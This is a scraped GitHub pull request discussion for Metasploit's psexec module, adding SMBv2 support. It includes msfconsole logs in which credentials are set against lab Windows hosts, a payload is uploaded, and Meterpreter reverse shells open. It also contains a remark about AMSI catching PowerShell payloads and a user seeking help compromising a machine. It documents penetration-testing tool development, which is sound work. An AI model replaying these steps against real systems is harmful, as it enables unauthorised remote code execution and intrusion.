psexec smb2 support #10185

jrobles-r7 · 2018-06-18T19:24:59Z

Description

This PR updates the module exploit/windows/smb/psexec to support SMBv2 connection with RubySMB.
SMB1 tests:

Windows 7
Windows 10

SMB2 tests:

cpe:/o:microsoft:windows_10:::x64
cpe:/o:microsoft:windows_8.1::sp1:x64
cpe:/o:microsoft:windows_server_2008:r2:sp1:x64
cpe:/o:microsoft:windows_7::sp1:x64
cpe:/o:microsoft:windows_10:1607::x64
cpe:/o:microsoft:windows_8.1:::x64
cpe:/o:microsoft:windows_server_2008::r2:x64

Verification

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set target 1 
target => 1
msf5 exploit(windows/smb/psexec) > set smbuser IEUser
smbuser => IEUser
msf5 exploit(windows/smb/psexec) > set smbpass 'Passw0rd!'
smbpass => Passw0rd!
msf5 exploit(windows/smb/psexec) > set rhost 172.22.222.152
rhost => 172.22.222.152
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 172.22.222.177:4444 
[*] 172.22.222.152:445 - Connecting to the server...
[*] 172.22.222.152:445 - Authenticating to 172.22.222.152:445 as user 'IEUser'...
[*] 172.22.222.152:445 - Executing the payload...
[*] Sending stage (179779 bytes) to 172.22.222.152
[*] Meterpreter session 1 opened (172.22.222.177:4444 -> 172.22.222.152:49165) at 2018-06-18 14:07:23 -0500
[-] 172.22.222.152:445 - Exploit failed: NameError uninitialized constant Msf::Exploit::Remote::SMB::Client::Psexec::Failure
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        :
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.22.222.152 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(windows/smb/psexec) > set target 2
target => 2
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 172.22.222.177:4444 
[*] 172.22.222.152:445 - Connecting to the server...
[*] 172.22.222.152:445 - Authenticating to 172.22.222.152:445 as user 'IEUser'...
[*] 172.22.222.152:445 - Uploading payload...
[*] 172.22.222.152:445 - Created \yownzDcO.exe...
[*] Sending stage (179779 bytes) to 172.22.222.152
[*] Meterpreter session 2 opened (172.22.222.177:4444 -> 172.22.222.152:49166) at 2018-06-18 14:08:08 -0500
[-] 172.22.222.152:445 - Exploit failed: RubySMB::Error::CommunicationError RubySMB::Error::CommunicationError
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        :
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter >

jrobles-r7 · 2018-06-18T19:27:30Z

lib/rex/proto/dcerpc/client.rb

@@ -296,6 +296,8 @@ def call(function, data, do_recv = true)

    raw_response = ''

+    sleep 3


This should probably be handled in a better way...
It seems like a wait needs to occur for the DCE-RPC call.
If a request is sent early, the Windows host will respond with an error code that makes it seem like everything is broken.

jmartin-tech · 2018-06-18T20:27:02Z

Jenkins test this please.

jmartin-tech · 2018-06-18T21:51:05Z

The following will get this PR to run your first testing scenario against Windows 10, since I believe the default target selection would work.

git diff
diff --git a/test/modules/exploits/windows/smb/psexec.json b/test/modules/exploits/windows/smb/psexec.json
index c44300cbdc..05b070c8f7 100644
--- a/test/modules/exploits/windows/smb/psexec.json
+++ b/test/modules/exploits/windows/smb/psexec.json
@@ -41,7 +41,8 @@
             "CPE": "cpe:/o:microsoft:windows_7:::x64"
         },
         {
-            "CPE": "cpe:/o:microsoft:windows_10:::x64"
+            "CPE": "cpe:/o:microsoft:windows_10:::x64",
+            "TESTING_SNAPSHOT": "DisableSMBv1"
         }
     ],
     "TARGET_GLOBALS": {

Or you could make the change to the windows 7 target above if you want the SMBv2 test performed on that OS.

jrobles-r7 · 2018-06-19T14:43:58Z

For Windows 10 the automatic target selection attempts to use powershell, which wasn't working in my testing. How would I change the json file to select the native upload target (set target 2)? The native upload target should work on both Windows 7 and Windows 10.

jmartin-tech · 2018-06-19T16:11:06Z

For now SETTINGS == OPTIONS

diff --git a/test/modules/exploits/windows/smb/psexec.json b/test/modules/exploits/windows/smb/psexec.json
index c44300cbdc..01eabfdb43 100644
--- a/test/modules/exploits/windows/smb/psexec.json
+++ b/test/modules/exploits/windows/smb/psexec.json
@@ -12,7 +12,8 @@
             "NAME": "exploit/windows/smb/psexec",
             "SETTINGS": [
                 "SMBUser=vagrant",
-                "SMBPass=vagrant"
+                "SMBPass=vagrant",
+                "TARGET=2"
             ]
         }
     ],

jrobles-r7 · 2018-06-19T16:16:39Z

I'll try that now 👍

jmartin-tech · 2018-06-21T04:20:37Z

Jenkins test this please.

jmartin-tech · 2018-06-21T14:27:50Z

Looks like the success condition for the test has changed.

diff --git a/test/modules/exploits/windows/smb/psexec.json b/test/modules/exploits/windows/smb/psexec.json
index c44300cbdc..9779e13b80 100644
--- a/test/modules/exploits/windows/smb/psexec.json
+++ b/test/modules/exploits/windows/smb/psexec.json
@@ -34,7 +34,7 @@
     ],
     "STARTING_LISTENER": 30000,
     "SUCCESS_LIST": [
-        "Session 1 created in the background"
+        "Meterpreter session 1 opened"
     ],
     "TARGETS": [
         {

busterb · 2018-06-28T19:53:56Z

Woo, it's green! Removing 'delayed'

GreenEYESSS · 2018-06-28T21:34:24Z

please see it https://github.com/hanshaze/EternalPulse sorry.

GreenEYESSS · 2018-06-28T21:39:36Z

and it https://github.com/hanshaze/MS17-010-EternalBlue-WinXP-Win10

busterb · 2018-06-28T21:43:15Z

@GreenEYESSS those comments are totally unrelated to this PR, and the second module you linked to doesn't actually work either.

busterb · 2018-06-28T21:49:11Z

2003/XP systems seem to return this:

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.104:445 - Connecting to the server...
[*] 192.168.56.104:445 - Authenticating to 192.168.56.104:445 as user 'Administrator'...
[-] 192.168.56.104:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode 0x5b0002
[*] Exploit completed, but no session was created.

GreenEYESSS · 2018-06-28T21:56:59Z

ok sorry

jrobles-r7 · 2018-06-28T23:43:33Z

Jenkins test this please.

sempervictus · 2018-06-29T08:45:46Z

Powershell target is likely an AMSI catch. They're actually signing for the bloody architecture resolution part of the cmd invocation which we can drop and force the user to set the right arch for now. Evasions like the metasm C stuff cost space in PSH which pushes us to env-stage (something else they can search for).
Thanks for getting this working - smb1 is getting rare.

jrobles-r7 · 2018-06-29T10:57:01Z

The powershell issue with Windows 10 that I was experiencing was resolved in rex-powershell. I will update the description.

busterb · 2018-06-29T22:35:24Z

Manual test for Windows 2000:

msf5 exploit(windows/smb/psexec) > set Interrupt: use the 'exit' command to quit
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.102:445 - Connecting to the server...
[*] 192.168.56.102:445 - Authenticating to 192.168.56.102:445 as user 'Administrator'...
[!] 192.168.56.102:445 - No active DB -- Credential data will not be saved!
[*] 192.168.56.102:445 - Uploading payload... qfQlrYxv.exe
[*] 192.168.56.102:445 - Created \qfQlrYxv.exe...
[*] 192.168.56.102:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.56.102[\svcctl] ...
[*] 192.168.56.102:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.56.102[\svcctl] ...
[*] 192.168.56.102:445 - Obtaining a service manager handle...
[*] 192.168.56.102:445 - Creating the service...
[+] 192.168.56.102:445 - Successfully created the service
[*] 192.168.56.102:445 - Starting the service...
[+] 192.168.56.102:445 - Service started successfully...
[*] 192.168.56.102:445 - Removing the service...
[+] 192.168.56.102:445 - Successfully removed the service
[*] 192.168.56.102:445 - Closing service handle...
[*] 192.168.56.102:445 - Deleting \qfQlrYxv.exe...
[*] Sending stage (179779 bytes) to 192.168.56.102

meterpreter >

busterb · 2018-06-29T22:51:34Z

Release Notes

This adds SMBv1 and SMBv2 support for the exploit/windows/smb/psexec module, enabling compatibility with modern Windows environments (well, until SMB Signing is on by default :).

11ash · 2018-11-05T17:12:50Z

guy's help in this guest machine is vulnerable .

[] Started reverse TCP handler on 192.168.43.119:4444
[] 192.168.43.50:445 - Connecting to the server...
[] 192.168.43.50:445 - Authenticating to 192.168.43.50:445 as user 'pass'...
[-] 192.168.43.50:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_USER_SESSION_DELETED
[] Exploit completed, but no session was created.

jrobles-r7 commented Jun 18, 2018

View reviewed changes

jrobles-r7 added the blocked Blocked by one or more additional tasks label Jun 18, 2018

jrobles-r7 added 2 commits June 25, 2018 15:06

psexec smb2 support

2fd0d79

Update tests

dfbc72d

jrobles-r7 force-pushed the rubysmb-psexec branch 2 times, most recently from eed928b to 31da00b Compare June 28, 2018 16:40

busterb and others added 8 commits June 28, 2018 12:15

fix filename randomization while debugging

055c90c

remove unneeded slashes

b01bd06

remove evasion logic from dcerpc read path

4b767ef

remove superfluous sleeps, simplify logic

c06f13b

call delete implementation from ruby_smb

2792d5f

Update ruby_smb gem

2bc3d6f

Handle STATUS_PIPE_EMPTY error

a8c6835

Update ruby_smb gem

8e36551

jrobles-r7 force-pushed the rubysmb-psexec branch from 8cc3063 to 8e36551 Compare June 28, 2018 17:17

busterb self-assigned this Jun 28, 2018

busterb added enhancement rubysmb and removed blocked Blocked by one or more additional tasks labels Jun 28, 2018

busterb changed the title ~~psexec smb2 support WIP~~ psexec smb2 support Jun 28, 2018

jrobles-r7 added 2 commits June 28, 2018 18:10

smb_file_exist check for rubysmb

5e02e7a

Update test cases

2856c46

jrobles-r7 force-pushed the rubysmb-psexec branch from 71a2b0e to 2856c46 Compare June 28, 2018 23:27

busterb merged commit 2856c46 into rapid7:master Jun 29, 2018

busterb added a commit that referenced this pull request Jun 29, 2018

Land #10185, add SMBv1/2 support in psexec

85dc81a

msjenkins-r7 pushed a commit that referenced this pull request Jun 29, 2018

Land #10185, add SMBv1/2 support in psexec

709630e

jrobles-r7 deleted the rubysmb-psexec branch June 29, 2018 22:54

tdoan-r7 added the rn-enhancement release notes enhancement label Jul 5, 2018

asoto-r7 mentioned this pull request Jul 5, 2018

pivoting via "route add" results in "implicit conversion of nil into Integer (TypeError)" #10160

Closed

11ash mentioned this pull request Nov 5, 2018

metasploit exploit is failed, guy's help in this guest machine is vulnerable . #10923

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

psexec smb2 support #10185

psexec smb2 support #10185

jrobles-r7 commented Jun 18, 2018 •

edited by busterb

Loading

jrobles-r7 Jun 18, 2018

jmartin-tech commented Jun 18, 2018

jmartin-tech commented Jun 18, 2018

jrobles-r7 commented Jun 19, 2018

jmartin-tech commented Jun 19, 2018

jrobles-r7 commented Jun 19, 2018

jmartin-tech commented Jun 21, 2018

jmartin-tech commented Jun 21, 2018

busterb commented Jun 28, 2018

GreenEYESSS commented Jun 28, 2018

GreenEYESSS commented Jun 28, 2018

busterb commented Jun 28, 2018

busterb commented Jun 28, 2018

GreenEYESSS commented Jun 28, 2018

jrobles-r7 commented Jun 28, 2018

sempervictus commented Jun 29, 2018

jrobles-r7 commented Jun 29, 2018

busterb commented Jun 29, 2018

busterb commented Jun 29, 2018

11ash commented Nov 5, 2018

		@@ -296,6 +296,8 @@ def call(function, data, do_recv = true)

		raw_response = ''

		sleep 3

psexec smb2 support #10185

psexec smb2 support #10185

Conversation

jrobles-r7 commented Jun 18, 2018 • edited by busterb Loading

Description

Verification

jrobles-r7 Jun 18, 2018

Choose a reason for hiding this comment

jmartin-tech commented Jun 18, 2018

jmartin-tech commented Jun 18, 2018

jrobles-r7 commented Jun 19, 2018

jmartin-tech commented Jun 19, 2018

jrobles-r7 commented Jun 19, 2018

jmartin-tech commented Jun 21, 2018

jmartin-tech commented Jun 21, 2018

busterb commented Jun 28, 2018

GreenEYESSS commented Jun 28, 2018

GreenEYESSS commented Jun 28, 2018

busterb commented Jun 28, 2018

busterb commented Jun 28, 2018

GreenEYESSS commented Jun 28, 2018

jrobles-r7 commented Jun 28, 2018

sempervictus commented Jun 29, 2018

jrobles-r7 commented Jun 29, 2018

busterb commented Jun 29, 2018

busterb commented Jun 29, 2018

Release Notes

11ash commented Nov 5, 2018

jrobles-r7 commented Jun 18, 2018 •

edited by busterb

Loading